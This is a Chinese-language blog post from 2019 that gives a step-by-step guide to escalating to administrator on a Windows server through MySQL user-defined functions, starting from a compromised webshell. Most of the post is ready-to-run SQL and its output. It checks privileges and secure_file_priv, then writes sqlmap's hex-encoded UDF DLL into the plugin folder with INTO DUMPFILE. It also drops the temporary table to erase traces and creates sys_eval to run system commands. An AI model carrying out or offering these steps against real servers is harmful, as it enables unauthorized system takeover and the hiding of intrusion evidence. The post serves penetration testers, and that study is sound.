Sql注入-Windows下利用udf提权

利用udf进行提权(windows篇)

本文记录利用udf在windows平台下进行提权时的整个过程,以及过程中遇到的问题以及细节。

一、什么是udf

​ udf 全称为:user defined function,意为用户自定义函数;用户可以添加自定义的新函数到Mysql中,以达到功能的扩充,调用方式与一般系统自带的函数相同,例如 contact(),user(),version()等函数。

​ udf 文件后缀一般为 dll,由C、C++编写,编写参考链接:点此

二、udf在渗透中的作用

​ 在一般渗透过程中,拿下一台windows服务器的webshell时,由于webshell权限较低,有些操作无法进行,而此时本地恰好存在mysql数据库,那么udf可能就派上用场了;由于windows安装的mysql进程一般都拥有管理员权限,这就意味着用户自定义的函数也拥有管理员权限,我们也就拥有了执行管理员命令的权限,这时新建管理员用户等操作也就轻而易举了,大多数人称为这一操作为udf提权,其实表达不够准确,应该称为通过mysql获得管理员权限。

三、利用条件

利用udf的条件其实还是挺苛刻的

1. mysql用户权限问题

获得一个数据库账号,拥有对MySQL的insert和delete权限。以root为佳。

拥有将udf.dll写入相应目录的权限。

2. 数据库版本问题

udf利用的其中一步,是要将我们的xxx.dll文件上传到mysql检索目录中,mysql各版本的检索目录有所不同:

版本 路径
MySQL < 5.0 导出路径随意;
5.0 <= MySQL< 5.1 需要导出至目标服务器的系统目录(如:c:/windows/system32/)
5.1 < MySQL 必须导出到MySQL安装目录下的lib\plugin文件夹下

一般Lib、Plugin文件夹需要手工建立(可用NTFS ADS流模式突破进而创建文件夹)

四、利用过程

环境:

目标系统:windows 10

mysql版本:5.5.53

1、查看版本
mysql> select version();
+-----------+
| version() |
+-----------+
| 5.5.53    |
+-----------+
1 row in set (0.00 sec)
2、获取Mysql安装路径
mysql> select @@basedir;
+--------------------------------+
| @@basedir                      |
+--------------------------------+
| C:/phpStudy/PHPTutorial/MySQL/ |
+--------------------------------+
1 row in set (0.00 sec)
3、查看用户权限
mysql> select * from mysql.user where user='root' and host='127.0.0.1' \G;
*************************** 1. row ***************************
                  Host: 127.0.0.1
                  User: root
              Password: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
           Select_priv: Y
           Insert_priv: Y
           Update_priv: Y
           Delete_priv: Y
           Create_priv: Y
             Drop_priv: Y
           Reload_priv: Y
         Shutdown_priv: Y
          Process_priv: Y
             File_priv: Y
            Grant_priv: Y
       References_priv: Y
            Index_priv: Y
            Alter_priv: Y
          Show_db_priv: Y
            Super_priv: Y
 Create_tmp_table_priv: Y
      Lock_tables_priv: Y
          Execute_priv: Y
       Repl_slave_priv: Y
      Repl_client_priv: Y
      Create_view_priv: Y
        Show_view_priv: Y
   Create_routine_priv: Y
    Alter_routine_priv: Y
      Create_user_priv: Y
            Event_priv: Y
          Trigger_priv: Y
Create_tablespace_priv: Y
              ssl_type:
            ssl_cipher:
           x509_issuer:
          x509_subject:
         max_questions: 0
           max_updates: 0
       max_connections: 0
  max_user_connections: 0
                plugin:
 authentication_string:
1 row in set (0.01 sec)

可见root用户拥有以下关键权限,并且可读写文件。

Insert_priv: Y
Update_priv: Y
Delete_priv: Y
File_priv: Y

4、查看可操作路径
mysql> show global variables like '%secure%';
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_auth      | OFF   |
| secure_file_priv | NULL  |
+------------------+-------+
2 rows in set (0.00 sec)

secure_file_priv值为null,表示mysql不允许导入导出,此时我们只有通过别的方法将udf.dll写入安装路径。

5、上传DLL并利用

创建plugin目录

这里使用ntfs数据流创建,但是我本地测试一直没有成功。后来又在网上看了很多,都是用这种方法,看来是无解了。在t00ls上也有人说数据流从来没有成功过,所以说mysql5.1以上的提权能否成功还是个迷。

mysql> select 'test' into dumpfile 'C:\\phpStudy\\PHPTutorial\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
ERROR 1 (HY000): Can't create/write to file 'C:\phpStudy\PHPTutorial\MySQL\lib\plugin::$INDEX_ALLOCATION' (Errcode: 13)

为后续测试,手动创建plugin目录

将dll上传到安装路径的方式:

通过webshell上传

以hex方式直接上传

​ sqlmap中有现成的udf文件,分为32位和64位,一定要选择对版本,否则会显示:Can't open shared library 'udf.dll'。获取sqlmap的udf请看链接:MySQL 利用UDF执行命令

将获得的udf.dll文件转换成16进制,一种思路是在本地使用mysql函数hex:

先将本地dll路径例如C:\\Users\\user\\Desktop\\lib_mysqludf_sys.dll转换为433a5c5c55736572735c5c757365725c5c4465736b746f705c5c6c69625f6d7973716c7564665f7379732e646c6c

然后本地mysql执行

SELECT hex(load_file(0x433a5c5c55736572735c5c757365725c5c4465736b746f705c5c6c69625f6d7973716c7564665f7379732e646c6c)) into dumpfile 'C:\\Users\\user\\Desktop\\udf.txt';
load_file中的十六进制是C:\\Users\\user\\Desktop\\lib_mysqludf_sys.dll

此时udf.txt文件的内容就是udf文件的16进制形式。

接下来就是把本地的udf16进制形式通过我们已经获得的webshell传到目标主机上。

1. CREATE TABLE udftmp (c blob); //新建一个表,名为udftmp,用于存放本地传来的udf文件的内容。
2. INSERT INTO udftmp values(unhex('udf文件的16进制格式')); //在udftmp中写入udf文件内容
3. SELECT c FROM udftmp INTO DUMPFILE 'H:\\PHPStudy\\PHPTutorial\\MySQL\\lib\\plugin\\udf.dll'; //将udf文件内容传入新建的udf文件中,路径根据自己的@@basedir修改
//对于mysql小于5.1的,导出目录为C:\Windows\或C:\Windows\System32\

继续,到这儿如果没有报错的话就说明已经在目标主机上成功生成了udf文件。下面要导入udf函数:

DROP TABLE udftmp; //为了删除痕迹,把刚刚新建的udftmp表删掉
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll'; //导入udf函数

导入成功的话就可以使用了:

SELECT sys_eval('ipconfig');
返回网卡信息

五、参考

https://www.cnblogs.com/litlife/p/9030673.html

https://mp.weixin.qq.com/s/ERXOLhWo0-lJbMV143I8hA

posted @ 2019-09-02 15:49  reuodut  阅读(1058)  评论(0编辑  收藏  举报